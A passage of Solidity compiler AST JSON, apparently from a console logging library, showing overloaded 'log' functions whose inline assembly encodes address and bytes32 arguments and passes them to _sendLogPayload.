{"name":"m5","nativeSrc":"99289:2:22","nodeType":"YulIdentifier","src":"99289:2:22"}]},{"nativeSrc":"99319:17:22","nodeType":"YulAssignment","src":"99319:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99331:4:22","nodeType":"YulLiteral","src":"99331:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"99325:5:22","nodeType":"YulIdentifier","src":"99325:5:22"},"nativeSrc":"99325:11:22","nodeType":"YulFunctionCall","src":"99325:11:22"},"variableNames":[{"name":"m6","nativeSrc":"99319:2:22","nodeType":"YulIdentifier","src":"99319:2:22"}]},{"nativeSrc":"99349:17:22","nodeType":"YulAssignment","src":"99349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"99361:4:22","nodeType":"YulLiteral","src":"99361:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"99355:5:22","nodeType":"YulIdentifier","src":"99355:5:22"},"nativeSrc":"99355:11:22","nodeType":"YulFunctionCall","src":"99355:11:22"},"variableNames":[{"name":"m7","nativeSrc":"99349:2:22","nodeType":"YulIdentifier","src":"99349:2:22"}]},{"nativeSrc":"99379:18:22","nodeType":"YulAssignment","src":"99379:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"99391:5:22","nodeType":"YulLiteral","src":"99391:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"99385:5:22","nodeType":"YulIdentifier","src":"99385:5:22"},"nativeSrc":"99385:12:22","nodeType":"YulFunctionCall","src":"99385:12:22"},"variableNames":[{"name":"m8","nativeSrc":"99379:2:22","nodeType":"YulIdentifier","src":"99379:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99482:4:22","nodeType":"YulLiteral","src":"99482:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"99488:10:22","nodeType":"YulLiteral","src":"99488:10:22","type":"","value":"0x21bdaf25"}],"functionName":{"name":"mstore","nativeSrc":"99475:6:22","nodeType":"YulIdentifier","src":"99475:6:22"},"nativeSrc":"99475:24:22","nodeType":"YulFunctionCall","src":"99475:24:22"},"nativeSrc":"99475:24:22","nodeType":"YulExpressionStatement","src":"99475:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99519:4:22","nodeType":"YulLiteral","src":"99519:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"99525:2:22","nodeType":"YulIdentifier","src":"99525:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99512:6:22","nodeType":"YulIdentifier","src":"99512:6:22"},"nativeSrc":"99512:16:22","nodeType":"YulFunctionCall","src":"99512:16:22"},"nativeSrc":"99512:16:22","nodeType":"YulExpressionStatement","src":"99512:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99548:4:22","nodeType":"YulLiteral","src":"99548:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"99554:2:22","nodeType":"YulIdentifier","src":"99554:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99541:6:22","nodeType":"YulIdentifier","src":"99541:6:22"},"nativeSrc":"99541:16:22","nodeType":"YulFunctionCall","src":"99541:16:22"},"nativeSrc":"99541:16:22","nodeType":"YulExpressionStatement","src":"99541:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99577:4:22","nodeType":"YulLiteral","src":"99577:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"99583:4:22","nodeType":"YulLiteral","src":"99583:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"99570:6:22","nodeType":"YulIdentifier","src":"99570:6:22"},"nativeSrc":"99570:18:22","nodeType":"YulFunctionCall","src":"99570:18:22"},"nativeSrc":"99570:18:22","nodeType":"YulExpressionStatement","src":"99570:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99608:4:22","nodeType":"YulLiteral","src":"99608:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"99614:4:22","nodeType":"YulLiteral","src":"99614:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"99601:6:22","nodeType":"YulIdentifier","src":"99601:6:22"},"nativeSrc":"99601:18:22","nodeType":"YulFunctionCall","src":"99601:18:22"},"nativeSrc":"99601:18:22","nodeType":"YulExpressionStatement","src":"99601:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99644:4:22","nodeType":"YulLiteral","src":"99644:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"99650:2:22","nodeType":"YulIdentifier","src":"99650:2:22"}],"functionName":{"name":"writeString","nativeSrc":"99632:11:22","nodeType":"YulIdentifier","src":"99632:11:22"},"nativeSrc":"99632:21:22","nodeType":"YulFunctionCall","src":"99632:21:22"},"nativeSrc":"99632:21:22","nodeType":"YulExpressionStatement","src":"99632:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99678:4:22","nodeType":"YulLiteral","src":"99678:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"99684:2:22","nodeType":"YulIdentifier","src":"99684:2:22"}],"functionName":{"name":"writeString","nativeSrc":"99666:11:22","nodeType":"YulIdentifier","src":"99666:11:22"},"nativeSrc":"99666:21:22","nodeType":"YulFunctionCall","src":"99666:21:22"},"nativeSrc":"99666:21:22","nodeType":"YulExpressionStatement","src":"99666:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36904,"isOffset":false,"isSlot":false,"src":"99139:2:22","valueSize":1},{"declaration":36907,"isOffset":false,"isSlot":false,"src":"99169:2:22","valueSize":1},{"declaration":36910,"isOffset":false,"isSlot":false,"src":"99199:2:22","valueSize":1},{"declaration":36913,"isOffset":false,"isSlot":false,"src":"99229:2:22","valueSize":1},{"declaration":36916,"isOffset":false,"isSlot":false,"src":"99259:2:22","valueSize":1},{"declaration":36919,"isOffset":false,"isSlot":false,"src":"99289:2:22","valueSize":1},{"declaration":36922,"isOffset":false,"isSlot":false,"src":"99319:2:22","valueSize":1},{"declaration":36925,"isOffset":false,"isSlot":false,"src":"99349:2:22","valueSize":1},{"declaration":36928,"isOffset":false,"isSlot":false,"src":"99379:2:22","valueSize":1},{"declaration":36894,"isOffset":false,"isSlot":false,"src":"99525:2:22","valueSize":1},{"declaration":36896,"isOffset":false,"isSlot":false,"src":"99554:2:22","valueSize":1},{"declaration":36898,"isOffset":false,"isSlot":false,"src":"99650:2:22","valueSize":1},{"declaration":36900,"isOffset":false,"isSlot":false,"src":"99684:2:22","valueSize":1}],"id":36930,"nodeType":"InlineAssembly","src":"98761:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36932,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"99722:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":36933,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"99728:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":36931,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"99706:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36934,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"99706:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36935,"nodeType":"ExpressionStatement","src":"99706:28:22"},{"AST":{"nativeSrc":"99753:273:22","nodeType":"YulBlock","src":"99753:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"99774:4:22","nodeType":"YulLiteral","src":"99774:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"99780:2:22","nodeType":"YulIdentifier","src":"99780:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99767:6:22","nodeType":"YulIdentifier","src":"99767:6:22"},"nativeSrc":"99767:16:22","nodeType":"YulFunctionCall","src":"99767:16:22"},"nativeSrc":"99767:16:22","nodeType":"YulExpressionStatement","src":"99767:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99803:4:22","nodeType":"YulLiteral","src":"99803:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"99809:2:22","nodeType":"YulIdentifier","src":"99809:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99796:6:22","nodeType":"YulIdentifier","src":"99796:6:22"},"nativeSrc":"99796:16:22","nodeType":"YulFunctionCall","src":"99796:16:22"},"nativeSrc":"99796:16:22","nodeType":"YulExpressionStatement","src":"99796:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99832:4:22","nodeType":"YulLiteral","src":"99832:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"99838:2:22","nodeType":"YulIdentifier","src":"99838:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99825:6:22","nodeType":"YulIdentifier","src":"99825:6:22"},"nativeSrc":"99825:16:22","nodeType":"YulFunctionCall","src":"99825:16:22"},"nativeSrc":"99825:16:22","nodeType":"YulExpressionStatement","src":"99825:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99861:4:22","nodeType":"YulLiteral","src":"99861:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"99867:2:22","nodeType":"YulIdentifier","src":"99867:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99854:6:22","nodeType":"YulIdentifier","src":"99854:6:22"},"nativeSrc":"99854:16:22","nodeType":"YulFunctionCall","src":"99854:16:22"},"nativeSrc":"99854:16:22","nodeType":"YulExpressionStatement","src":"99854:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99890:4:22","nodeType":"YulLiteral","src":"99890:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"99896:2:22","nodeType":"YulIdentifier","src":"99896:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99883:6:22","nodeType":"YulIdentifier","src":"99883:6:22"},"nativeSrc":"99883:16:22","nodeType":"YulFunctionCall","src":"99883:16:22"},"nativeSrc":"99883:16:22","nodeType":"YulExpressionStatement","src":"99883:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99919:4:22","nodeType":"YulLiteral","src":"99919:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"99925:2:22","nodeType":"YulIdentifier","src":"99925:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99912:6:22","nodeType":"YulIdentifier","src":"99912:6:22"},"nativeSrc":"99912:16:22","nodeType":"YulFunctionCall","src":"99912:16:22"},"nativeSrc":"99912:16:22","nodeType":"YulExpressionStatement","src":"99912:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99948:4:22","nodeType":"YulLiteral","src":"99948:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"99954:2:22","nodeType":"YulIdentifier","src":"99954:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99941:6:22","nodeType":"YulIdentifier","src":"99941:6:22"},"nativeSrc":"99941:16:22","nodeType":"YulFunctionCall","src":"99941:16:22"},"nativeSrc":"99941:16:22","nodeType":"YulExpressionStatement","src":"99941:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"99977:4:22","nodeType":"YulLiteral","src":"99977:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"99983:2:22","nodeType":"YulIdentifier","src":"99983:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99970:6:22","nodeType":"YulIdentifier","src":"99970:6:22"},"nativeSrc":"99970:16:22","nodeType":"YulFunctionCall","src":"99970:16:22"},"nativeSrc":"99970:16:22","nodeType":"YulExpressionStatement","src":"99970:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100006:5:22","nodeType":"YulLiteral","src":"100006:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"100013:2:22","nodeType":"YulIdentifier","src":"100013:2:22"}],"functionName":{"name":"mstore","nativeSrc":"99999:6:22","nodeType":"YulIdentifier","src":"99999:6:22"},"nativeSrc":"99999:17:22","nodeType":"YulFunctionCall","src":"99999:17:22"},"nativeSrc":"99999:17:22","nodeType":"YulExpressionStatement","src":"99999:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36904,"isOffset":false,"isSlot":false,"src":"99780:2:22","valueSize":1},{"declaration":36907,"isOffset":false,"isSlot":false,"src":"99809:2:22","valueSize":1},{"declaration":36910,"isOffset":false,"isSlot":false,"src":"99838:2:22","valueSize":1},{"declaration":36913,"isOffset":false,"isSlot":false,"src":"99867:2:22","valueSize":1},{"declaration":36916,"isOffset":false,"isSlot":false,"src":"99896:2:22","valueSize":1},{"declaration":36919,"isOffset":false,"isSlot":false,"src":"99925:2:22","valueSize":1},{"declaration":36922,"isOffset":false,"isSlot":false,"src":"99954:2:22","valueSize":1},{"declaration":36925,"isOffset":false,"isSlot":false,"src":"99983:2:22","valueSize":1},{"declaration":36928,"isOffset":false,"isSlot":false,"src":"100013:2:22","valueSize":1}],"id":36936,"nodeType":"InlineAssembly","src":"99744:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"98505:3:22","parameters":{"id":36901,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36894,"mutability":"mutable","name":"p0","nameLocation":"98517:2:22","nodeType":"VariableDeclaration","scope":36938,"src":"98509:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36893,"name":"address","nodeType":"ElementaryTypeName","src":"98509:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36896,"mutability":"mutable","name":"p1","nameLocation":"98529:2:22","nodeType":"VariableDeclaration","scope":36938,"src":"98521:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36895,"name":"address","nodeType":"ElementaryTypeName","src":"98521:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36898,"mutability":"mutable","name":"p2","nameLocation":"98541:2:22","nodeType":"VariableDeclaration","scope":36938,"src":"98533:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36897,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98533:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":36900,"mutability":"mutable","name":"p3","nameLocation":"98553:2:22","nodeType":"VariableDeclaration","scope":36938,"src":"98545:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36899,"name":"bytes32","nodeType":"ElementaryTypeName","src":"98545:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"98508:48:22"},"returnParameters":{"id":36902,"nodeType":"ParameterList","parameters":[],"src":"98571:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36972,"nodeType":"FunctionDefinition","src":"100038:786:22","nodes":[],"body":{"id":36971,"nodeType":"Block","src":"100110:714:22","nodes":[],"statements":[{"assignments":[36950],"declarations":[{"constant":false,"id":36950,"mutability":"mutable","name":"m0","nameLocation":"100128:2:22","nodeType":"VariableDeclaration","scope":36971,"src":"100120:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36949,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100120:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36951,"nodeType":"VariableDeclarationStatement","src":"100120:10:22"},{"assignments":[36953],"declarations":[{"constant":false,"id":36953,"mutability":"mutable","name":"m1","nameLocation":"100148:2:22","nodeType":"VariableDeclaration","scope":36971,"src":"100140:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36952,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100140:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36954,"nodeType":"VariableDeclarationStatement","src":"100140:10:22"},{"assignments":[36956],"declarations":[{"constant":false,"id":36956,"mutability":"mutable","name":"m2","nameLocation":"100168:2:22","nodeType":"VariableDeclaration","scope":36971,"src":"100160:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36955,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100160:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36957,"nodeType":"VariableDeclarationStatement","src":"100160:10:22"},{"assignments":[36959],"declarations":[{"constant":false,"id":36959,"mutability":"mutable","name":"m3","nameLocation":"100188:2:22","nodeType":"VariableDeclaration","scope":36971,"src":"100180:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36958,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100180:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36960,"nodeType":"VariableDeclarationStatement","src":"100180:10:22"},{"assignments":[36962],"declarations":[{"constant":false,"id":36962,"mutability":"mutable","name":"m4","nameLocation":"100208:2:22","nodeType":"VariableDeclaration","scope":36971,"src":"100200:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36961,"name":"bytes32","nodeType":"ElementaryTypeName","src":"100200:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36963,"nodeType":"VariableDeclarationStatement","src":"100200:10:22"},{"AST":{"nativeSrc":"100229:378:22","nodeType":"YulBlock","src":"100229:378:22","statements":[{"nativeSrc":"100243:17:22","nodeType":"YulAssignment","src":"100243:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"100255:4:22","nodeType":"YulLiteral","src":"100255:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"100249:5:22","nodeType":"YulIdentifier","src":"100249:5:22"},"nativeSrc":"100249:11:22","nodeType":"YulFunctionCall","src":"100249:11:22"},"variableNames":[{"name":"m0","nativeSrc":"100243:2:22","nodeType":"YulIdentifier","src":"100243:2:22"}]},{"nativeSrc":"100273:17:22","nodeType":"YulAssignment","src":"100273:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"100285:4:22","nodeType":"YulLiteral","src":"100285:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"100279:5:22","nodeType":"YulIdentifier","src":"100279:5:22"},"nativeSrc":"100279:11:22","nodeType":"YulFunctionCall","src":"100279:11:22"},"variableNames":[{"name":"m1","nativeSrc":"100273:2:22","nodeType":"YulIdentifier","src":"100273:2:22"}]},{"nativeSrc":"100303:17:22","nodeType":"YulAssignment","src":"100303:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"100315:4:22","nodeType":"YulLiteral","src":"100315:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"100309:5:22","nodeType":"YulIdentifier","src":"100309:5:22"},"nativeSrc":"100309:11:22","nodeType":"YulFunctionCall","src":"100309:11:22"},"variableNames":[{"name":"m2","nativeSrc":"100303:2:22","nodeType":"YulIdentifier","src":"100303:2:22"}]},{"nativeSrc":"100333:17:22","nodeType":"YulAssignment","src":"100333:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"100345:4:22","nodeType":"YulLiteral","src":"100345:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"100339:5:22","nodeType":"YulIdentifier","src":"100339:5:22"},"nativeSrc":"100339:11:22","nodeType":"YulFunctionCall","src":"100339:11:22"},"variableNames":[{"name":"m3","nativeSrc":"100333:2:22","nodeType":"YulIdentifier","src":"100333:2:22"}]},{"nativeSrc":"100363:17:22","nodeType":"YulAssignment","src":"100363:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"100375:4:22","nodeType":"YulLiteral","src":"100375:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"100369:5:22","nodeType":"YulIdentifier","src":"100369:5:22"},"nativeSrc":"100369:11:22","nodeType":"YulFunctionCall","src":"100369:11:22"},"variableNames":[{"name":"m4","nativeSrc":"100363:2:22","nodeType":"YulIdentifier","src":"100363:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100464:4:22","nodeType":"YulLiteral","src":"100464:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"100470:10:22","nodeType":"YulLiteral","src":"100470:10:22","type":"","value":"0x660375dd"}],"functionName":{"name":"mstore","nativeSrc":"100457:6:22","nodeType":"YulIdentifier","src":"100457:6:22"},"nativeSrc":"100457:24:22","nodeType":"YulFunctionCall","src":"100457:24:22"},"nativeSrc":"100457:24:22","nodeType":"YulExpressionStatement","src":"100457:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100501:4:22","nodeType":"YulLiteral","src":"100501:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"100507:2:22","nodeType":"YulIdentifier","src":"100507:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100494:6:22","nodeType":"YulIdentifier","src":"100494:6:22"},"nativeSrc":"100494:16:22","nodeType":"YulFunctionCall","src":"100494:16:22"},"nativeSrc":"100494:16:22","nodeType":"YulExpressionStatement","src":"100494:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100530:4:22","nodeType":"YulLiteral","src":"100530:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"100536:2:22","nodeType":"YulIdentifier","src":"100536:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100523:6:22","nodeType":"YulIdentifier","src":"100523:6:22"},"nativeSrc":"100523:16:22","nodeType":"YulFunctionCall","src":"100523:16:22"},"nativeSrc":"100523:16:22","nodeType":"YulExpressionStatement","src":"100523:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100559:4:22","nodeType":"YulLiteral","src":"100559:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"100565:2:22","nodeType":"YulIdentifier","src":"100565:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100552:6:22","nodeType":"YulIdentifier","src":"100552:6:22"},"nativeSrc":"100552:16:22","nodeType":"YulFunctionCall","src":"100552:16:22"},"nativeSrc":"100552:16:22","nodeType":"YulExpressionStatement","src":"100552:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100588:4:22","nodeType":"YulLiteral","src":"100588:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"100594:2:22","nodeType":"YulIdentifier","src":"100594:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100581:6:22","nodeType":"YulIdentifier","src":"100581:6:22"},"nativeSrc":"100581:16:22","nodeType":"YulFunctionCall","src":"100581:16:22"},"nativeSrc":"100581:16:22","nodeType":"YulExpressionStatement","src":"100581:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36950,"isOffset":false,"isSlot":false,"src":"100243:2:22","valueSize":1},{"declaration":36953,"isOffset":false,"isSlot":false,"src":"100273:2:22","valueSize":1},{"declaration":36956,"isOffset":false,"isSlot":false,"src":"100303:2:22","valueSize":1},{"declaration":36959,"isOffset":false,"isSlot":false,"src":"100333:2:22","valueSize":1},{"declaration":36962,"isOffset":false,"isSlot":false,"src":"100363:2:22","valueSize":1},{"declaration":36940,"isOffset":false,"isSlot":false,"src":"100507:2:22","valueSize":1},{"declaration":36942,"isOffset":false,"isSlot":false,"src":"100536:2:22","valueSize":1},{"declaration":36944,"isOffset":false,"isSlot":false,"src":"100565:2:22","valueSize":1},{"declaration":36946,"isOffset":false,"isSlot":false,"src":"100594:2:22","valueSize":1}],"id":36964,"nodeType":"InlineAssembly","src":"100220:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36966,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"100632:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"100638:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36965,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"100616:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36968,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"100616:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36969,"nodeType":"ExpressionStatement","src":"100616:27:22"},{"AST":{"nativeSrc":"100662:156:22","nodeType":"YulBlock","src":"100662:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"100683:4:22","nodeType":"YulLiteral","src":"100683:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"100689:2:22","nodeType":"YulIdentifier","src":"100689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100676:6:22","nodeType":"YulIdentifier","src":"100676:6:22"},"nativeSrc":"100676:16:22","nodeType":"YulFunctionCall","src":"100676:16:22"},"nativeSrc":"100676:16:22","nodeType":"YulExpressionStatement","src":"100676:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100712:4:22","nodeType":"YulLiteral","src":"100712:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"100718:2:22","nodeType":"YulIdentifier","src":"100718:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100705:6:22","nodeType":"YulIdentifier","src":"100705:6:22"},"nativeSrc":"100705:16:22","nodeType":"YulFunctionCall","src":"100705:16:22"},"nativeSrc":"100705:16:22","nodeType":"YulExpressionStatement","src":"100705:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100741:4:22","nodeType":"YulLiteral","src":"100741:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"100747:2:22","nodeType":"YulIdentifier","src":"100747:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100734:6:22","nodeType":"YulIdentifier","src":"100734:6:22"},"nativeSrc":"100734:16:22","nodeType":"YulFunctionCall","src":"100734:16:22"},"nativeSrc":"100734:16:22","nodeType":"YulExpressionStatement","src":"100734:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100770:4:22","nodeType":"YulLiteral","src":"100770:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"100776:2:22","nodeType":"YulIdentifier","src":"100776:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100763:6:22","nodeType":"YulIdentifier","src":"100763:6:22"},"nativeSrc":"100763:16:22","nodeType":"YulFunctionCall","src":"100763:16:22"},"nativeSrc":"100763:16:22","nodeType":"YulExpressionStatement","src":"100763:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"100799:4:22","nodeType":"YulLiteral","src":"100799:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"100805:2:22","nodeType":"YulIdentifier","src":"100805:2:22"}],"functionName":{"name":"mstore","nativeSrc":"100792:6:22","nodeType":"YulIdentifier","src":"100792:6:22"},"nativeSrc":"100792:16:22","nodeType":"YulFunctionCall","src":"100792:16:22"},"nativeSrc":"100792:16:22","nodeType":"YulExpressionStatement","src":"100792:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36950,"isOffset":false,"isSlot":false,"src":"100689:2:22","valueSize":1},{"declaration":36953,"isOffset":false,"isSlot":false,"src":"100718:2:22","valueSize":1},{"declaration":36956,"isOffset":false,"isSlot":false,"src":"100747:2:22","valueSize":1},{"declaration":36959,"isOffset":false,"isSlot":false,"src":"100776:2:22","valueSize":1},{"declaration":36962,"isOffset":false,"isSlot":false,"src":"100805:2:22","valueSize":1}],"id":36970,"nodeType":"InlineAssembly","src":"100653:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"100047:3:22","parameters":{"id":36947,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36940,"mutability":"mutable","name":"p0","nameLocation":"100059:2:22","nodeType":"VariableDeclaration","scope":36972,"src":"100051:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36939,"name":"address","nodeType":"ElementaryTypeName","src":"100051:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36942,"mutability":"mutable","name":"p1","nameLocation":"100068:2:22","nodeType":"VariableDec